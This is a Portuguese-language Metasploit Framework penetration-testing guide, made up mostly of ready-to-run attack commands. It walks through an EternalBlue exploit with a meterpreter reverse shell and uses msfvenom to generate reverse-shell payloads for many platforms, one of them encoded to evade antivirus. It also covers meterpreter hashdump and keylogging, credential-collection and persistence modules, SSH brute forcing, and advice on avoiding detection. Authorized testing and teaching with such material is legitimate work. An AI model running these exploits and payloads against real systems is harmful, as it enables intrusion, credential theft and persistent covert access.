Metasploit Framework

Metasploit Framework

Propósito

Aproveitar o Metasploit Framework para testes de penetração abrangentes, desde a exploração inicial até atividades pós-exploração. O Metasploit fornece uma plataforma unificada para exploração de vulnerabilidades, geração de payloads, varredura auxiliar e manutenção de acesso a sistemas comprometidos durante avaliações de segurança autorizadas.

Pré-requisitos

Ferramentas Necessárias

# Metasploit vem pré-instalado no Kali Linux
# Para outros sistemas:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Inicie o PostgreSQL para suporte de banco de dados
sudo systemctl start postgresql
sudo msfdb init

Conhecimento Necessário

• Fundamentos de rede e sistemas
• Compreensão de vulnerabilidades e exploits
• Conceitos básicos de programação
• Técnicas de enumeração de alvo

Acesso Necessário

• Autorização escrita para teste
• Acesso de rede aos sistemas alvo
• Compreensão do escopo e regras de engajamento

Saídas e Entregas

1. Evidência de Exploração - Screenshots e logs de comprometimentos bem-sucedidos
2. Logs de Sessão - Histórico de comandos e dados extraídos
3. Mapeamento de Vulnerabilidades - Vulnerabilidades exploradas com referências de CVE
4. Artefatos Pós-Exploração - Credenciais, arquivos e informações de sistema

Fluxo de Trabalho Principal

Fase 1: Fundamentos do MSFConsole

Inicie e navegue pelo console do Metasploit:

# Inicie o msfconsole
msfconsole

# Modo silencioso (pule o banner)
msfconsole -q

# Comandos de navegação básicos
msf6 > help                    # Mostrar todos os comandos
msf6 > search [term]           # Pesquisar módulos
msf6 > use [module]            # Selecionar módulo
msf6 > info                    # Mostrar detalhes do módulo
msf6 > show options            # Exibir opções necessárias
msf6 > set [OPTION] [value]    # Configurar opção
msf6 > run / exploit           # Executar módulo
msf6 > back                    # Retornar ao console principal
msf6 > exit                    # Sair do msfconsole

Fase 2: Tipos de Módulo

Compreenda as diferentes categorias de módulos:

# 1. Módulos Exploit - Direcionam vulnerabilidades específicas
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 2. Módulos Payload - Código executado após exploração
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 3. Módulos Auxiliares - Varredura, fuzzing, enumeração
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version

# 4. Módulos Pós-Exploração - Ações após comprometimento
msf6 > show post
msf6 > use post/windows/gather/hashdump

# 5. Encoders - Ofuscar payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai

# 6. Nops - Preenchimento no-operation para buffer overflows
msf6 > show nops

# 7. Evasion - Contornar controles de segurança
msf6 > show evasion

Fase 3: Pesquisando Módulos

Encontre módulos apropriados para alvos:

# Pesquisar por nome
msf6 > search eternalblue

# Pesquisar por CVE
msf6 > search cve:2017-0144

# Pesquisar por plataforma
msf6 > search platform:windows type:exploit

# Pesquisar por tipo e palavra-chave
msf6 > search type:auxiliary smb

# Filtrar por rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent

# Pesquisa combinada
msf6 > search type:exploit platform:linux apache

# Ver colunas de resultados da pesquisa:
# Name, Disclosure Date, Rank, Check (se pode verificar vulnerabilidade), Description

Fase 4: Configurando Exploits

Configure um exploit para execução:

# Selecione módulo exploit
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Veja opções necessárias
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Configure host alvo
msf6 exploit(...) > set RHOSTS 192.168.1.100

# Configure porta alvo (se diferente do padrão)
msf6 exploit(...) > set RPORT 445

# Veja payloads compatíveis
msf6 exploit(...) > show payloads

# Configure payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Configure host local para conexão reversa
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444

# Veja todas as opções novamente para verificar
msf6 exploit(...) > show options

# Verifique se o alvo é vulnerável (se suportado)
msf6 exploit(...) > check

# Execute exploit
msf6 exploit(...) > exploit
# ou
msf6 exploit(...) > run

Fase 5: Tipos de Payload

Selecione payload apropriado para a situação:

# Singles - Autossuficiente, sem staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp

# Stagers - Payload pequeno que baixa estágio maior
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp

# Stages - Baixado por stager, fornece funcionalidade completa
# Meterpreter, VNC, shell

# Convenção de nomenclatura de payload:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Exemplos:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp

Fase 6: Sessão Meterpreter

Trabalhe com pós-exploração do Meterpreter:

# Após exploração bem-sucedida, você obtém prompt Meterpreter
meterpreter >

# Informações de Sistema
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

# Operações de Sistema de Arquivos
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\

# Gerenciamento de Processos
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]

# Rede
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1

# Escalação de Privilégio
meterpreter > getsystem
meterpreter > getprivs

# Coleta de Credenciais
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector

# Screenshots e Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

# Acesso a Shell
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >

# Sessão em Background
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1

Fase 7: Módulos Auxiliares

Use módulos auxiliares para reconhecimento:

# Scanner de Versão SMB
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# Scanner de Portas
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run

# Scanner de Versão SSH
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# FTP Login Anônimo
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# Scanner de Diretórios HTTP
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# Módulos de Força Bruta
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run

Fase 8: Módulos Pós-Exploração

Execute módulos post em sessões ativas:

# Liste sessões
msf6 > sessions -l

# Execute módulo post em sessão específica
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run

# Ou execute diretamente do Meterpreter
meterpreter > run post/windows/gather/hashdump

# Módulos Post Comuns
# Coleta de Credenciais
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds

# Enumeração de Sistema
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs

# Escalação de Privilégio
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester

# Persistência
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence

# Pivoting
post/multi/manage/autoroute

Fase 9: Geração de Payload com msfvenom

Crie payloads autossuficientes:

# Shell reverso básico Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Shell reverso Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# Shell reverso PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# Shell reverso Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# Payload PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1

# Shell web ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# Arquivo WAR (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war

# APK Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk

# Payload codificado (evite AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# Listar formatos disponíveis
msfvenom --list formats

# Listar encoders disponíveis
msfvenom --list encoders

Fase 10: Configurando Handlers

Configure ouvinte para conexões recebidas:

# Configuração manual de handler
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

# A flag -j executa como job em background
msf6 > jobs -l

# Quando payload executa no alvo, sessão se abre
[*] Meterpreter session 1 opened

# Interaja com sessão
msf6 > sessions -i 1

Referência Rápida

Comandos MSFConsole Essenciais

Comandos Meterpreter Essenciais

Módulos Exploit Comuns

# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac

# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec

# Aplicações Web
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console

Restrições e Limitações

Requisitos Legais

• Use apenas em sistemas que você possui ou tem autorização escrita para testar
• Documente todas as atividades de teste
• Siga as regras de engajamento
• Relate todos os achados às partes apropriadas

Limitações Técnicas

• Antivírus/EDR moderno pode detectar payloads Metasploit
• Alguns exploits exigem configurações específicas de alvo
• Regras de firewall podem bloquear conexões reversas
• Nem todos os exploits funcionam em todas as versões de alvo

Segurança Operacional

• Use canais criptografados (reverse_https) quando possível
• Limpe artefatos após teste
• Evite detecção por sistemas de monitoramento
• Limite pós-exploração ao escopo acordado

Solução de Problemas